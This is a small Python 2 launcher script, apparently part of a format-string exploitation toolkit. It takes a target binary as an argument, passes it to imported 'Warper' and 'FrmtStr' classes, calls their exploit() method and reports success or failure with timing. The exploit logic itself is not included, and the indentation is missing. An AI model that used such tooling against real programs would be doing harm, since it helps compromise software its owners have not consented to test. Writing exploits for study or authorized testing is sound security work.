#!/usr/bin/python
import time
from warper import *
from frmtStr import *
try:
if(len(sys.argv)<2): raise Exception
clock = time.clock()
ret = -1
# Warper(sys.argv[1], 1, 2) argv[1]=faille argv[2]=payload
warp = Warper(sys.argv[1])
frmt = FrmtStr(warp)
ret = frmt.exploit()
clock = time.clock()-clock
if(ret<0):
print '\x1B[0;31mExploitation fail.\x1B[0m'
else:
print '\x1B[0;32mExploitation in '+str(clock)+' sec.\x1B[0m'
except:
print '\x1B[0;31m%s <Binary>\x1B[0m' % sys.argv[0]